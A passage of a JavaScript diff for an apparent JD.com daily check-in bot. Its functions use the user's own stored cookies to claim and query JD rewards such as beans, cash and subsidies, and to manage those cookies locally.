if (cc.result.code == 0) { + merge.JDFSale.success = 1 + merge.JDFSale.bean = cc.result.jdBeanNum || 0 + merge.JDFSale.notify = "京东闪购-瓜分: 成功, 明细: " + (merge.JDFSale.bean || "无") + "京豆 🐶" + console.log("\n" + "京东闪购-瓜分签到成功 " + Details) + } else { + merge.JDFSale.fail = 1 + console.log("\n" + "京东闪购-瓜分签到失败 " + Details) + if (data.match(/已参与|已领取|\"2006\"/)) { + merge.JDFSale.notify = "京东闪购-瓜分: 失败, 原因: 已瓜分 ⚠️" + } else if (data.match(/不存在|已结束|未开始|\"2008\"|\"2012\"/)) { + merge.JDFSale.notify = "京东闪购-瓜分: 失败, 原因: 活动已结束 ⚠️" + } else if (data.match(/\"code\":\"1003\"|未获取/)) { + merge.JDFSale.notify = "京东闪购-瓜分: 失败, 原因: Cookie失效‼️" + } else { + const msg = data.match(/\"msg\":\"([\u4e00-\u9fa5].+?)\"/) + merge.JDFSale.notify = `京东闪购-瓜分: 失败, ${msg ? msg[1] : `原因: 未知`} ⚠️` + } + } + } + } catch (eor) { + $nobyda.AnError("京东闪购-瓜分", "JDFSale", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingDongCash(s) { + merge.JDCash = {}; + return new Promise(resolve => { + if (disable("JDCash")) return resolve() + setTimeout(() => { + const JDCAUrl = { + url: 'https://api.m.jd.com/client.action?functionId=ccSignInNew', + headers: { + Cookie: KEY + }, + body: "body=%7B%22pageClickKey%22%3A%22CouponCenter%22%2C%22eid%22%3A%22O5X6JYMZTXIEX4VBCBWEM5PTIZV6HXH7M3AI75EABM5GBZYVQKRGQJ5A2PPO5PSELSRMI72SYF4KTCB4NIU6AZQ3O6C3J7ZVEP3RVDFEBKVN2RER2GTQ%22%2C%22shshshfpb%22%3A%22v1%5C%2FzMYRjEWKgYe%2BUiNwEvaVlrHBQGVwqLx4CsS9PH1s0s0Vs9AWk%2B7vr9KSHh3BQd5NTukznDTZnd75xHzonHnw%3D%3D%22%2C%22childActivityUrl%22%3A%22openapp.jdmobile%253a%252f%252fvirtual%253fparams%253d%257b%255c%2522category%255c%2522%253a%255c%2522jump%255c%2522%252c%255c%2522des%255c%2522%253a%255c%2522couponCenter%255c%2522%257d%22%2C%22monitorSource%22%3A%22cc_sign_ios_index_config%22%7D&client=apple&clientVersion=8.5.0&d_brand=apple&d_model=iPhone8%2C2&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&scope=11&screen=1242%2A2208&sign=1cce8f76d53fc6093b45a466e93044da&st=1581084035269&sv=102" + }; + $nobyda.post(JDCAUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (cc.busiCode == "0") { + console.log("\n" + "京东现金-红包签到成功 " + Details) + merge.JDCash.success = 1 + merge.JDCash.Cash = cc.result.signResult.signData.amount || 0 + merge.JDCash.notify = `京东现金-红包: 成功, 明细: ${merge.JDCash.Cash || `无`}红包 🧧` + } else { + console.log("\n" + "京东现金-红包签到失败 " + Details) + merge.JDCash.fail = 1 + if (data.match(/(\"busiCode\":\"1002\"|完成签到)/)) { + merge.JDCash.notify = "京东现金-红包: 失败, 原因: 已签过 ⚠️" + } else if (data.match(/(不存在|已结束)/)) { + merge.JDCash.notify = "京东现金-红包: 失败, 原因: 活动已结束 ⚠️" + } else if (data.match(/(\"busiCode\":\"3\"|未登录)/)) { + merge.JDCash.notify = "京东现金-红包: 失败, 原因: Cookie失效‼️" + } else { + const msg = data.split(/\"msg\":\"([\u4e00-\u9fa5].+?)\"/)[1]; + merge.JDCash.notify = `京东现金-红包: 失败, ${msg||`原因: 未知`} ⚠️` + } + } + } + } catch (eor) { + $nobyda.AnError("京东现金-红包", "JDCash", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JDMagicCube(s, sign) { + merge.JDCube = {}; + return new Promise((resolve, reject) => { + if (disable("JDCube")) return reject() + const JDUrl = { + url: `https://api.m.jd.com/client.action?functionId=getNewsInteractionInfo&appid=smfe${sign?`&body=${encodeURIComponent(`{"sign":${sign}}`)}`:``}`, + headers: { + Cookie: KEY, + } + }; + $nobyda.get(JDUrl, async (error, response, data) => { + try { + if (error) throw new Error(error) + const Details = LogDetails ? "response:\n" + data : ''; + console.log(`\n京东魔方-尝试查询活动(${sign}) ${Details}`) + if (data.match(/\"interactionId\":\d+/)) { + resolve({ + id: data.match(/\"interactionId\":(\d+)/)[1], + sign: sign || null + }) + } else if (data.match(/配置异常/) && sign) { + await JDMagicCube(s, sign == 2 ? 1 : null) + reject() + } else { + resolve(null) + } + } catch (eor) { + $nobyda.AnError("京东魔方-查询", "JDCube", eor, response, data) + reject() + } + }) + if (out) setTimeout(reject, out + s) + }).then(data => { + return JDMagicCubeSign(s, data) + }, () => {}); +} + +function JDMagicCubeSign(s, id) { + return new Promise(resolve => { + setTimeout(() => { + const JDMCUrl = { + url: `https://api.m.jd.com/client.action?functionId=getNewsInteractionLotteryInfo&appid=smfe${id?`&body=${encodeURIComponent(`{${id.sign?`"sign":${id.sign},`:``}"interactionId":${id.id}}`)}`:``}`, + headers: { + Cookie: KEY, + } + }; + $nobyda.get(JDMCUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (data.match(/(\"name\":)/)) { + console.log("\n" + "京东商城-魔方签到成功 " + Details) + merge.JDCube.success = 1 + if (data.match(/(\"name\":\"京豆\")/)) { + merge.JDCube.bean = cc.result.lotteryInfo.quantity || 0 + merge.JDCube.notify = `京东商城-魔方: 成功, 明细: ${merge.JDCube.bean || `无`}京豆 🐶` + } else { + merge.JDCube.notify = `京东商城-魔方: 成功, 明细: ${cc.result.lotteryInfo.name || `未知`} 🎉` + } + } else { + console.log("\n" + "京东商城-魔方签到失败 " + Details) + merge.JDCube.fail = 1 + if (data.match(/(一闪而过|已签到|已领取)/)) { + merge.JDCube.notify = "京东商城-魔方: 失败, 原因: 无机会 ⚠️" + } else if (data.match(/(不存在|已结束)/)) { + merge.JDCube.notify = "京东商城-魔方: 失败, 原因: 活动已结束 ⚠️" + } else if (data.match(/(\"code\":3)/)) { + merge.JDCube.notify = "京东商城-魔方: 失败, 原因: Cookie失效‼️" + } else { + merge.JDCube.notify = "京东商城-魔方: 失败, 原因: 未知 ⚠️" + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-魔方", "JDCube", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingDongSubsidy(s) { + merge.subsidy = {}; + return new Promise(resolve => { + if (disable("subsidy")) return resolve() + setTimeout(() => { + const subsidyUrl = { + url: 'https://ms.jr.jd.com/gw/generic/uc/h5/m/signIn7', + headers: { + Referer: "https://active.jd.com/forever/cashback/index", + Cookie: KEY + } + }; + $nobyda.get(subsidyUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (cc.resultCode == 0 && cc.resultData.data && cc.resultData.data.thisAmount) { + console.log("\n" + "京东商城-金贴签到成功 " + Details) + merge.subsidy.subsidy = cc.resultData.data.thisAmountStr + merge.subsidy.notify = `京东商城-金贴: 成功, 明细: ${merge.subsidy.subsidy||`无`}金贴 💰` + merge.subsidy.success = 1 + } else { + console.log("\n" + "京东商城-金贴签到失败 " + Details) + merge.subsidy.fail = 1 + if (data.match(/已存在|"thisAmount":0/)) { + merge.subsidy.notify = "京东商城-金贴: 失败, 原因: 无金贴 ⚠️" + } else if (data.match(/请先登录/)) { + merge.subsidy.notify = "京东商城-金贴: 失败, 原因: Cookie失效‼️" + } else { + const msg = data.split(/\"msg\":\"([\u4e00-\u9fa5].+?)\"/)[1]; + merge.subsidy.notify = `京东商城-金贴: 失败, ${msg||`原因: 未知`} ⚠️` + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-金贴", "subsidy", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingRongDoll(s, key, title, code, type, num, award, belong) { + merge[key] = {}; + return new Promise(resolve => { + if (disable(key)) return resolve() + setTimeout(() => { + const DollUrl = { + url: "https://nu.jr.jd.com/gw/generic/jrm/h5/m/process", + headers: { + Cookie: KEY + }, + body: `reqData=${encodeURIComponent(`{"actCode":"${code}","type":${type?type:`3`}${code=='F68B2C3E71'?`,"frontParam":{"belong":"${belong}"}`:code==`1DF13833F7`?`,"frontParam":{"channel":"JR","belong":4}`:``}}`)}` + }; + $nobyda.post(DollUrl, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + var cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.resultCode == 0) { + if (cc.resultData.data.businessData != null) { + console.log(`\n${title}查询成功 ${Details}`) + if (cc.resultData.data.businessData.pickStatus == 2) { + if (data.match(/\"rewardPrice\":\"\d.*?\"/)) { + const JRDoll_bean = data.match(/\"rewardPrice\":\"(\d.*?)\"/)[1] + const JRDoll_type = data.match(/\"rewardName\":\"金贴奖励\"/) ? true : false + await JingRongDoll(s, key, title, code, '4', JRDoll_bean, JRDoll_type) + } else { + merge[key].success = 1 + merge[key].notify = `${title}: 成功, 明细: 无奖励 🐶` + } + } else if (code == 'F68B2C3E71' || code == '1DF13833F7') { + if (!data.match(/"businessCode":"30\dss?q"/)) { + merge[key].success = 1 + const ct = data.match(/\"count\":\"?(\d.*?)\"?,/) + if (code == 'F68B2C3E71' && belong == 'xianjin') { + merge[key].Money = ct ? ct[1] > 9 ? `0.${ct[1]}` : `0.0${ct[1]}` : 0 + merge[key].notify = `${title}: 成功, 明细: ${merge[key].Money||`无`}现金 💰` + } else if (code == 'F68B2C3E71' && belong == 'jingdou') { + merge[key].bean = ct ? ct[1] : 0; + merge[key].notify = `${title}: 成功, 明细: ${merge[key].bean||`无`}京豆 🐶` + } else if (code == '1DF13833F7') { + merge[key].subsidy = ct ? ct[1] : 0; + merge[key].notify = `${title}: 成功, 明细: ${merge[key].subsidy||`无`}金贴 💰` + } + } else { + const es = cc.resultData.data.businessMsg + const ep = cc.resultData.data.businessData.businessMsg + const tp = data.match(/已领取|300ss?q/) ? `已签过` : `${ep||es||cc.resultMsg||`未知`}` + merge[key].notify = `${title}: 失败, 原因: ${tp} ⚠️` + merge[key].fail = 1 + } + } else { + merge[key].notify = `${title}: 失败, 原因: 已签过 ⚠️`; + merge[key].fail = 1 + } + } else if (cc.resultData.data.businessCode == 200) { + console.log(`\n${title}签到成功 ${Details}`) + if (!award) { + merge[key].bean = num ? num.match(/\d+/)[0] : 0 + } else { + merge[key].subsidy = num || 0 + } + merge[key].success = 1 + merge[key].notify = `${title}: 成功, 明细: ${(award?num:merge[key].bean)||`无`}${award?`金贴 💰`:`京豆 🐶`}` + } else { + console.log(`\n${title}领取异常 ${Details}`) + if (num) console.log(`\n${title} 请尝试手动领取, 预计可得${num}${award?`金贴`:`京豆`}: \nhttps://uf1.jr.jd.com/up/redEnvelopes/index.html?actCode=${code}\n`); + merge[key].fail = 1; + merge[key].notify = `${title}: 失败, 原因: 领取异常 ⚠️`; + } + } else { + console.log(`\n${title}签到失败 ${Details}`) + const redata = typeof(cc.resultData) == 'string' ? cc.resultData : '' + merge[key].notify = `${title}: 失败, ${cc.resultCode==3?`原因: Cookie失效‼️`:`${redata||'原因: 未知 ⚠️'}`}` + merge[key].fail = 1; + } + } + } catch (eor) { + $nobyda.AnError(title, key, eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingDongGetCash(s) { + merge.JDGetCash = {}; + return new Promise(resolve => { + if (disable("JDGetCash")) return resolve() + setTimeout(() => { + const GetCashUrl = { + url: 'https://api.m.jd.com/client.action?functionId=cash_sign&body=%7B%22remind%22%3A0%2C%22inviteCode%22%3A%22%22%2C%22type%22%3A0%2C%22breakReward%22%3A0%7D&client=apple&clientVersion=9.0.8&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=7e2f8bcec13978a691567257af4fdce9&st=1596954745073&sv=111', + headers: { + Cookie: KEY, + } + }; + $nobyda.get(GetCashUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const cc = JSON.parse(data); + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.data.success && cc.data.result) { + console.log("\n" + "京东商城-现金签到成功 " + Details) + merge.JDGetCash.success = 1 + merge.JDGetCash.Money = cc.data.result.signCash || 0 + merge.JDGetCash.notify = `京东商城-现金: 成功, 明细: ${cc.data.result.signCash||`无`}现金 💰` + } else { + console.log("\n" + "京东商城-现金签到失败 " + Details) + merge.JDGetCash.fail = 1 + if (data.match(/\"bizCode\":201|已经签过/)) { + merge.JDGetCash.notify = "京东商城-现金: 失败, 原因: 已签过 ⚠️" + } else if (data.match(/\"code\":300|退出登录/)) { + merge.JDGetCash.notify = "京东商城-现金: 失败, 原因: Cookie失效‼️" + } else { + merge.JDGetCash.notify = "京东商城-现金: 失败, 原因: 未知 ⚠️" + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-现金", "JDGetCash", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingDongStore(s) { + merge.JDGStore = {}; + return new Promise(resolve => { + if (disable("JDGStore")) return resolve() + setTimeout(() => { + $nobyda.get({ + url: 'https://api.m.jd.com/api?appid=jdsupermarket&functionId=smtg_sign&clientVersion=8.0.0&client=m&body=%7B%7D', + headers: { + Cookie: KEY, + Origin: `https://jdsupermarket.jd.com` + } + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const cc = JSON.parse(data); + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.data && cc.data.success === true && cc.data.bizCode === 0) { + console.log(`\n京东商城-超市签到成功 ${Details}`) + merge.JDGStore.success = 1 + merge.JDGStore.bean = cc.data.result.jdBeanCount || 0 + merge.JDGStore.notify = `京东商城-超市: 成功, 明细: ${merge.JDGStore.bean||`无`}京豆 🐶` + } else { + if (!cc.data) cc.data = {} + console.log(`\n京东商城-超市签到失败 ${Details}`) + const tp = cc.data.bizCode == 811 ? `已签过` : cc.data.bizCode == 300 ? `Cookie失效` : `${cc.data.bizMsg||`未知`}` + merge.JDGStore.notify = `京东商城-超市: 失败, 原因: ${tp}${cc.data.bizCode==300?`‼️`:` ⚠️`}` + merge.JDGStore.fail = 1 + } + } catch (eor) { + $nobyda.AnError("京东商城-超市", "JDGStore", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JDSecKilling(s) { //领券中心 + merge.JDSecKill = {}; + return new Promise((resolve, reject) => { + if (disable("JDSecKill")) return reject(); + setTimeout(() => { + $nobyda.post({ + url: 'https://api.m.jd.com/client.action', + headers: { + Cookie: KEY, + Origin: 'https://h5.m.jd.com' + }, + body: 'functionId=homePageV2&appid=SecKill2020' + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data); + if (cc.code == 203 || cc.code == 3 || cc.code == 101) { + merge.JDSecKill.notify = `京东秒杀-红包: 失败, 原因: Cookie失效‼️`; + } else if (cc.result && cc.result.projectId && cc.result.taskId) { + console.log(`\n京东秒杀-红包查询成功 ${Details}`) + return resolve({ + projectId: cc.result.projectId, + taskId: cc.result.taskId + }) + } else { + merge.JDSecKill.notify = `京东秒杀-红包: 失败, 暂无有效活动 ⚠️`; + } + merge.JDSecKill.fail = 1; + console.log(`\n京东秒杀-红包查询失败 ${Details}`) + reject() + } catch (eor) { + $nobyda.AnError("京东秒杀-查询", "JDSecKill", eor, response, data) + reject() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }).then(async (id) => { + await new Promise(resolve => { + $nobyda.post({ + url: 'https://api.m.jd.com/client.action', + headers: { + Cookie: KEY, + Origin: 'https://h5.m.jd.com' + }, + body: `functionId=doInteractiveAssignment&body=%7B%22encryptProjectId%22%3A%22${id.projectId}%22%2C%22encryptAssignmentId%22%3A%22${id.taskId}%22%2C%22completionFlag%22%3Atrue%7D&client=wh5&appid=SecKill2020` + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data); + if (cc.code == 0 && cc.subCode == 0) { + console.log(`\n京东秒杀-红包签到成功 ${Details}`); + const qt = data.match(/"discount":(\d.*?),/); + merge.JDSecKill.success = 1; + merge.JDSecKill.Cash = qt ? qt[1] : 0; + merge.JDSecKill.notify = `京东秒杀-红包: 成功, 明细: ${merge.JDSecKill.Cash||`无`}红包 🧧`; + } else { + console.log(`\n京东秒杀-红包签到失败 ${Details}`); + merge.JDSecKill.fail = 1; + merge.JDSecKill.notify = `京东秒杀-红包: 失败, ${cc.subCode==103?`原因: 已领取`:cc.msg?cc.msg:`原因: 未知`} ⚠️`; + } + } catch (eor) { + $nobyda.AnError("京东秒杀-领取", "JDSecKill", eor, response, data); + } finally { + resolve(); + } + }) + }) + }, () => {}); +} + +function TotalSteel() { + merge.TotalSteel = {}; + return new Promise(resolve => { + if (disable("TSteel")) return resolve() + $nobyda.get({ + url: 'https://coin.jd.com/m/gb/getBaseInfo.html', + headers: { + Cookie: KEY + } + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const Details = LogDetails ? "response:\n" + data : ''; + if (data.match(/(\"gbBalance\":\d+)/)) { + console.log("\n" + "京东-总钢镚查询成功 " + Details) + const cc = JSON.parse(data) + merge.TotalSteel.TSteel = cc.gbBalance + } else { + console.log("\n" + "京东-总钢镚查询失败 " + Details) + } + } catch (eor) { + $nobyda.AnError("账户钢镚-查询", "TotalSteel", eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out) + }); +} + +function getEid(ss, title) { + return new Promise(resolve => { + const options = { + url: `https://gia.jd.com/fcf.html?a=${ss.a}`, + body: `d=${ss.d}`, + headers: { + "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8" + } + } + $nobyda.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`\n${title} 登录: API查询请求失败 ‼️‼️`) + throw new Error(err); + } else { + if (data.indexOf("*_*") > 0) { + data = data.split("*_*", 2); + data = JSON.parse(data[1]); + eid = data.eid + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (eor) { + $nobyda.AnError(eor, resp); + } finally { + resolve(data); + } + }) + }) +} + +function TotalBean() { + merge.TotalBean = {}; + return new Promise(resolve => { + if (disable("Qbear")) return resolve() + $nobyda.get({ + url: 'https://me-api.jd.com/user_new/info/GetJDUserInfoUnion', + headers: { + Cookie: KEY + } + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (cc.msg == 'success' && cc.retcode == 0) { + merge.TotalBean.nickname = cc.data.userInfo.baseInfo.nickname || "" + merge.TotalBean.Qbear = cc.data.assetInfo.beanNum || 0 + $nobyda.headUrl = cc.data.userInfo.baseInfo.headImageUrl || "" + console.log(`\n京东-总京豆查询成功 ${Details}`) + } else { + const name = decodeURIComponent(KEY.split(/pt_pin=(.+?);/)[1] || ''); + merge.TotalBean.nickname = cc.retcode == 1001 ? `${name} (CK失效‼️)` : ""; + console.log(`\n京东-总京豆查询失败 ${Details}`) + } + } catch (eor) { + $nobyda.AnError("账户京豆-查询", "TotalBean", eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out) + }); +} + +function TotalCash() { + merge.TotalCash = {}; + return new Promise(resolve => { + if (disable("TCash")) return resolve() + $nobyda.post({ + url: 'https://api.m.jd.com/client.action?functionId=myhongbao_balance', + headers: { + Cookie: KEY + }, + body: "body=%7B%22fp%22%3A%22-1%22%2C%22appToken%22%3A%22apphongbao_token%22%2C%22childActivityUrl%22%3A%22-1%22%2C%22country%22%3A%22cn%22%2C%22openId%22%3A%22-1%22%2C%22childActivityId%22%3A%22-1%22%2C%22applicantErp%22%3A%22-1%22%2C%22platformId%22%3A%22appHongBao%22%2C%22isRvc%22%3A%22-1%22%2C%22orgType%22%3A%222%22%2C%22activityType%22%3A%221%22%2C%22shshshfpb%22%3A%22-1%22%2C%22platformToken%22%3A%22apphongbao_token%22%2C%22organization%22%3A%22JD%22%2C%22pageClickKey%22%3A%22-1%22%2C%22platform%22%3A%221%22%2C%22eid%22%3A%22-1%22%2C%22appId%22%3A%22appHongBao%22%2C%22childActiveName%22%3A%22-1%22%2C%22shshshfp%22%3A%22-1%22%2C%22jda%22%3A%22-1%22%2C%22extend%22%3A%22-1%22%2C%22shshshfpa%22%3A%22-1%22%2C%22activityArea%22%3A%22-1%22%2C%22childActivityTime%22%3A%22-1%22%7D&client=apple&clientVersion=8.5.0&d_brand=apple&networklibtype=JDNetworkBaseAF&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=fdc04c3ab0ee9148f947d24fb087b55d&st=1581245397648&sv=120" + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const Details = LogDetails ? "response:\n" + data : ''; + if (data.match(/(\"totalBalance\":\d+)/)) { + console.log("\n" + "京东-总红包查询成功 " + Details) + const cc = JSON.parse(data) + merge.TotalCash.TCash = cc.totalBalance + } else { + console.log("\n" + "京东-总红包查询失败 " + Details) + } + } catch (eor) { + $nobyda.AnError("账户红包-查询", "TotalCash", eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out) + }); +} + +function TotalSubsidy() { + merge.TotalSubsidy = {}; + return new Promise(resolve => { + if (disable("TotalSubsidy")) return resolve() + $nobyda.get({ + url: 'https://ms.jr.jd.com/gw/generic/uc/h5/m/mySubsidyBalance', + headers: { + Cookie: KEY, + Referer: 'https://active.jd.com/forever/cashback/index?channellv=wojingqb' + } + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.resultCode == 0 && cc.resultData && cc.resultData.data) { + console.log("\n京东-总金贴查询成功 " + Details) + merge.TotalSubsidy.TSubsidy = cc.resultData.data.balance || 0 + } else { + console.log("\n京东-总金贴查询失败 " + Details) + } + } catch (eor) { + $nobyda.AnError("账户金贴-查询", "TotalSubsidy", eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out) + }); +} + +function TotalMoney() { + merge.TotalMoney = {}; + return new Promise(resolve => { + if (disable("TotalMoney")) return resolve() + $nobyda.get({ + url: 'https://api.m.jd.com/client.action?functionId=cash_exchangePage&body=%7B%7D&build=167398&client=apple&clientVersion=9.1.9&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=762a8e894dea8cbfd91cce4dd5714bc5&st=1602179446935&sv=102', + headers: { + Cookie: KEY + } + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.code == 0 && cc.data && cc.data.bizCode == 0 && cc.data.result) { + console.log("\n京东-总现金查询成功 " + Details) + merge.TotalMoney.TMoney = cc.data.result.totalMoney || 0 + } else { + console.log("\n京东-总现金查询失败 " + Details) + } + } catch (eor) { + $nobyda.AnError("账户现金-查询", "TotalMoney", eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out) + }); +} + +function disable(Val, name, way) { + const read = $nobyda.read("JD_DailyBonusDisables") + const annal = $nobyda.read("JD_Crash_" + Val) + if (annal && way == 1 && boxdis) { + var Crash = $nobyda.write("", "JD_Crash_" + Val) + if (read) { + if (read.indexOf(Val) == -1) { + var Crash = $nobyda.write(`${read},${Val}`, "JD_DailyBonusDisables") + console.log(`\n${name}-触发自动禁用 ‼️`) + merge[Val].notify = `${name}: 崩溃, 触发自动禁用 ‼️` + merge[Val].error = 1 + $nobyda.disable = 1 + } + } else { + var Crash = $nobyda.write(Val, "JD_DailyBonusDisables") + console.log(`\n${name}-触发自动禁用 ‼️`) + merge[Val].notify = `${name}: 崩溃, 触发自动禁用 ‼️` + merge[Val].error = 1 + $nobyda.disable = 1 + } + return true + } else if (way == 1 && boxdis) { + var Crash = $nobyda.write(name, "JD_Crash_" + Val) + } else if (way == 2 && annal) { + var Crash = $nobyda.write("", "JD_Crash_" + Val) + } + if (read && read.indexOf(Val) != -1) { + return true + } else { + return false + } +} + +function Wait(readDelay, ini) { + if (!readDelay || readDelay === '0') return 0 + if (typeof(readDelay) == 'string') { + var readDelay = readDelay.replace(/"|"|'|'/g, ''); //prevent novice + if (readDelay.indexOf('-') == -1) return parseInt(readDelay) || 0; + const raw = readDelay.split("-").map(Number); + const plan = parseInt(Math.random() * (raw[1] - raw[0] + 1) + raw[0], 10); + if (ini) console.log(`\n初始化随机延迟: 最小${raw[0]/1000}秒, 最大${raw[1]/1000}秒`); + // else console.log(`\n预计等待: ${(plan / 1000).toFixed(2)}秒`); + return ini ? readDelay : plan + } else if (typeof(readDelay) == 'number') { + return readDelay > 0 ? readDelay : 0 + } else return 0 +} + +function CookieMove(oldCk1, oldCk2, oldKey1, oldKey2, newKey) { + let update; + const move = (ck, del) => { + console.log(`京东${del}开始迁移!`); + update = CookieUpdate(null, ck).total; + update = $nobyda.write(JSON.stringify(update, null, 2), newKey); + update = $nobyda.write("", del); + } + if (oldCk1) { + const write = move(oldCk1, oldKey1); + } + if (oldCk2) { + const write = move(oldCk2, oldKey2); + } +} + +function checkFormat(value) { //check format and delete duplicates + let n, k, c = {}; + return value.reduce((t, i) => { + k = ((i.cookie || '').match(/(pt_key|pt_pin)=.+?;/g) || []).sort(); + if (k.length == 2) { + if ((n = k[1]) && !c[n]) { + i.userName = i.userName ? i.userName : decodeURIComponent(n.split(/pt_pin=(.+?);/)[1]); + i.cookie = k.join('') + if (i.jrBody && !i.jrBody.includes('reqData=')) { + console.log(`异常钢镚Body已过滤: ${i.jrBody}`) + delete i.jrBody; + } + c[n] = t.push(i); + } + } else { + console.log(`异常京东Cookie已过滤: ${i.cookie}`) + } + return t; + }, []) +} + +function CookieUpdate(oldValue, newValue, path = 'cookie') { + let item, type, name = (oldValue || newValue || '').split(/pt_pin=(.+?);/)[1]; + let total = $nobyda.read('CookiesJD'); + try { + total = checkFormat(JSON.parse(total || '[]')); + } catch (e) { + $nobyda.notify("京东签到", "", "Cookie JSON格式不正确, 即将清空\n可前往日志查看该数据内容!"); + console.log(`京东签到Cookie JSON格式异常: ${e.message||e}\n旧数据内容: ${total}`); + total = []; + } + for (let i = 0; i < total.length; i++) { + if (total[i].cookie && new RegExp(`pt_pin=${name};`).test(total[i].cookie)) { + item = i; + break; + } + } + if (newValue && item !== undefined) { + type = total[item][path] === newValue ? -1 : 2; + total[item][path] = newValue; + item = item + 1; + } else if (newValue && path === 'cookie') { + total.push({ + cookie: newValue + }); + type = 1; + item = total.length; + } + return { + total: checkFormat(total), + type, //-1: same, 1: add, 2:update + item, + name: decodeURIComponent(name) + }; +} + +function GetCookie() { + const req = $request; + if (req.method != 'OPTIONS' && req.headers) { + const CV = (req.headers['Cookie'] || req.headers['cookie'] || ''); + const ckItems = CV.match(/(pt_key|pt_pin)=.+?;/g); + if (/^https:\/\/(me-|)api(\.m|)\.jd\.com\/(client\.|user_new)/.test(req.url)) { + if (ckItems && ckItems.length == 2) { + const value = CookieUpdate(null, ckItems.join('')) + if (value.type !== -1) { + const write = $nobyda.write(JSON.stringify(value.total, null, 2), "CookiesJD") + $nobyda.notify(`用户名: ${value.name}`, ``, `${value.type==2?`更新`:`写入`}京东 [账号${value.item}] Cookie${write?`成功 🎉`:`失败 ‼️`}`) + } else { + console.log(`\n用户名: ${value.name}\n与历史京东 [账号${value.item}] Cookie相同, 跳过写入 ⚠️`) + } + } else { + throw new Error("写入Cookie失败, 关键值缺失\n可能原因: 非网页获取 ‼️"); + } + } else if (/^https:\/\/ms\.jr\.jd\.com\/gw\/generic\/hy\/h5\/m\/appSign\?/.test(req.url) && req.body) { + const value = CookieUpdate(CV, req.body, 'jrBody'); + if (value.type) { + const write = $nobyda.write(JSON.stringify(value.total, null, 2), "CookiesJD") + $nobyda.notify(`用户名: ${value.name}`, ``, `获取京东 [账号${value.item}] 钢镚Body${write?`成功 🎉`:`失败 ‼️`}`) + } else { + throw new Error("写入钢镚Body失败\n未获取该账号Cookie或关键值缺失‼️"); + } + } else if (req.url === 'http://www.apple.com/') { + throw new Error("类型错误, 手动运行请选择上下文环境为Cron ⚠️"); + } + } else if (!req.headers) { + throw new Error("写入Cookie失败, 请检查匹配URL或配置内脚本类型 ⚠️"); + } +} + +// Modified from yichahucha +function nobyda() { + const start = Date.now() + const isRequest = typeof $request != "undefined" + const isSurge = typeof $httpClient != "undefined" + const isQuanX = typeof $task != "undefined" + const isLoon = typeof $loon != "undefined" + const isJSBox = typeof $app != "undefined" && typeof $http != "undefined" + const isNode = typeof require == "function" && !isJSBox; + const NodeSet = 'CookieSet.json' + const node = (() => { + if (isNode) { + const request = require('request'); + const fs = require("fs"); + const path = require("path"); + return ({ + request, + fs, + path + }) + } else { + return (null) + } + })() + const notify = (title, subtitle, message, rawopts) => { + const Opts = (rawopts) => { //Modified from https://github.com/chavyleung/scripts/blob/master/Env.js + if (!rawopts) return rawopts + if (typeof rawopts === 'string') { + if (isLoon) return rawopts + else if (isQuanX) return { + 'open-url': rawopts + } + else if (isSurge) return { + url: rawopts + } + else return undefined + } else if (typeof rawopts === 'object') { + if (isLoon) { + let openUrl = rawopts.openUrl || rawopts.url || rawopts['open-url'] + let mediaUrl = rawopts.mediaUrl || rawopts['media-url'] + return { + openUrl, + mediaUrl + } + } else if (isQuanX) { + let 